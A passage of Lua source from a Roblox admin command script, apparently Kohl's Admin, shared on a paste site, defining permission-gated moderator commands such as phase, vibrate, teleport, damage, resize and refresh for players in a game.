  273. for i,plr in pairs(args[1]) do if not (plr and plr.Character) then return end
  274. plr:LoadCharacter()
  275. end
  276. end)
  277.  
  278. f.addCommand({'phase','ph'},{'Makes a player phase.',s.set.Prefix..'phase kohl'},3,{'player'},function(pl,args)
  279. for i,plr in pairs(args[1]) do if not (plr and plr.Character) then return end
  280. event:FireClient(plr,f.uiD..'PHASE')
  281. end
  282. end)
  283.  
  284. f.addCommand({'unphase','unph'},{'Makes a player unphase.',s.set.Prefix..'unphase kohl'},3,{'player'},function(pl,args)
  285. for i,plr in pairs(args[1]) do if not (plr and plr.Character) then return end
  286. event:FireClient(plr,f.uiD..'UNPHASE')
  287. end
  288. end)
  289.  
  290. f.addCommand({'place','pl'},{'Makes a player change places.',s.set.Prefix..'place kohl 1337'},2,{'player','number'},function(pl,args)
  291. for i,plr in pairs(args[1]) do if not (plr and plr.Character) then return end
  292. game:GetService('TeleportService'):Teleport(args[2], plr)
  293. end
  294. end)
  295.  
  296. f.addCommand({'vibrate','vb'},{'Makes a player vibrate.',s.set.Prefix..'vibrate kohl 5'},3,{'player','number'},function(pl,args)
  297. for i,plr in pairs(args[1]) do if not (plr and plr.Character) then return end
  298. event:FireClient(plr,f.uiD..'VIBRATE',args[2])
  299. end
  300. end)
  301.  
  302. f.addCommand({'unvibrate','unvb'},{'Makes a player stop vibrating.',s.set.Prefix..'unvibrate kohl'},3,{'player'},function(pl,args)
  303. for i,plr in pairs(args[1]) do if not (plr and plr.Character) then return end
  304. event:FireClient(plr,f.uiD..'UNVIBRATE')
  305. end
  306. end)
  307.  
  308. f.addCommand({'tp','teleport','tele'},{'Teleports a player to a player.',s.set.Prefix..'tp kohl me'},3,{'player','player'},function(pl,args)
  309. for i,plr in pairs(args[1]) do if not (plr and plr.Character and plr.Character:findFirstChild('Torso')) or not (args[2][1] and args[2][1].Character) then return end
  310. plr.Character.Torso.CFrame = CFrame.new(args[2][1].Character.Torso.Position+Vector3.new(math.random(-50,50),0,math.random(-50,50))/10)
  311. end
  312. end)
  313.  
  314. f.addCommand({'damage','dmg'},{'Damages a player.',s.set.Prefix..'damage kohl 5'},3,{'player','number'},function(pl,args)
  315. for i,plr in pairs(args[1]) do if not (plr and plr.Character and plr.Character:findFirstChild('Humanoid')) then return end
  316. plr.Character.Humanoid:TakeDamage(args[2])
  317. end
  318. end)
  319.  
  320. f.addCommand({'resize','size'},{'Resizes a player.',s.set.Prefix..'resize kohl 5'},3,{'player','number'},function(pl,args)
  321. for i,plr in pairs(args[1]) do if not (plr and plr.Character and plr.Character:findFirstChild('Torso') and plr.Character:findFirstChild('HumanoidRootPart')) then return end
  322. local ags = {c = plr.Character, t = plr.Character.Torso, r = plr.Character.HumanoidRootPart}
  323. ags.t.Anchored = true ags.t.BottomSurface = 0 ags.t.TopSurface = 0
  324. local welds = {}
  325. for i2,v2 in pairs(ags.c:children()) do
  326. if v2:IsA('BasePart') then v2.Anchored = true
  327. elseif v2:IsA('Pants') or v2:IsA('Shirt') then v2.Parent = ags.t
  328. end
  329. end
  330. local function size(p)
  331. for i2,v2 in pairs(p:children()) do
  332. if v2:IsA('Weld') or v2:IsA('Motor') or v2:IsA('Motor6D') then
  333. local p1 = v2.Part1 p1.Anchored = true v2.Part1 = nil
  334. local r1,r2,r3,r4,r5,r6,r7,r8,r9,r10,r11,r12 = v2.C0:components() v2.C0 = CFrame.new(r1*args[2],r2*args[2],r3*args[2],r4,r5,r6,r7,r8,r9,r10,r11,r12)
  335. local r1,r2,r3,r4,r5,r6,r7,r8,r9,r10,r11,r12 = v2.C1:components() v2.C1 = CFrame.new(r1*args[2],r2*args[2],r3*args[2],r4,r5,r6,r7,r8,r9,r10,r11,r12)
  336. if p1 ~= ags.c:findFirstChild('Head') and p1 ~= ags.t then
  337. p1.formFactor = 3
  338. p1.Size = p1.Size*args[2]
  339. elseif p1 ~= ags.t then
  340. p1.Anchored = true
  341. for i3,v3 in pairs(p1:children()) do if v3:IsA('Weld') then v3.Part0 = nil v3.Part1.Anchored = true end end
  342. p1.formFactor = 3 p1.Size = p1.Size*args[2]
  343. for i3,v3 in pairs(p1:children()) do if v3:IsA('Weld') then v3.Part0 = p1 v3.Part1.Anchored = false end end
  344. end
  345. if v2.Parent == ags.t then p1.BottomSurface = 0 p1.TopSurface = 0 end
  346. p1.Anchored = false
  347. v2.Part1 = p1
  348. if v2.Part0 == ags.t then table.insert(welds,v2) p1.Anchored = true v2.Part0 = nil end
  349. elseif v2:IsA('CharacterMesh') then
  350. local bp = tostring(v2.BodyPart):match('%w+.%w+.(%w+)')
  351. local msh = Instance.new('SpecialMesh')
  352. if bp and ags.c:findFirstChild(bp) then msh.Parent = ags.c:findFirstChild(bp) end
  353. msh.MeshId = 'http://www.roblox.com/asset/?id='..v2.MeshId
  354. if v2.BaseTextureId ~= 0 or v2.BaseTextureId ~= '0' then msh.TextureId = 'http://www.roblox.com/asset/?id='..v2.BaseTextureId end
  355. msh.Scale = msh.Scale*args[2] v2:Destroy()
  356. elseif v2:IsA('SpecialMesh') and v2.Parent.Name ~= 'Head' then v2.Scale = v2.Scale*args[2]
  357. end size(v2)
  358. end
  359. end
  360. size(ags.c)
  361. ags.t.formFactor = 3
  362. ags.t.Size = ags.t.Size*args[2]
  363. for i2,v2 in pairs(welds) do v2.Part0 = ags.t v2.Part1.Anchored = false end
  364. for i2,v2 in pairs(ags.c:children()) do if v2:IsA('BasePart') then v2.Anchored = false end end
  365. local weld = Instance.new('Weld',ags.r) weld.Part0 = ags.r weld.Part1 = ags.t if ags.t.Size.Y*(5/2) <= 1.3 then weld.C0 = CFrame.new(0,-1.3+(ags.t.Size.Y*(3/2)),0) end
  366. end
  367. end)
  368.  
  369. f.addCommand({'refresh','re','unresize','unsize'},{'Refreshes a player.',s.set.Prefix..'refresh kohl'},3,{'player'},function(pl,args)
  370. for i,plr in pairs(args[1]) do if not (plr and plr.Character and plr.Character:findFirstChild('Torso')) then return end
  371. local cf = plr.Character:findFirstChild('Torso').CFrame
  372. event:FireClient(plr,f.uiD..'REFRESH')
  373. plr.Character:WaitForChild('KREFRESH')
  374. plr:LoadCharacter()
  375. plr.Character:WaitForChild('Torso')
  376. plr.Character.Torso.CFrame = cf
  377. end
  378. end)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement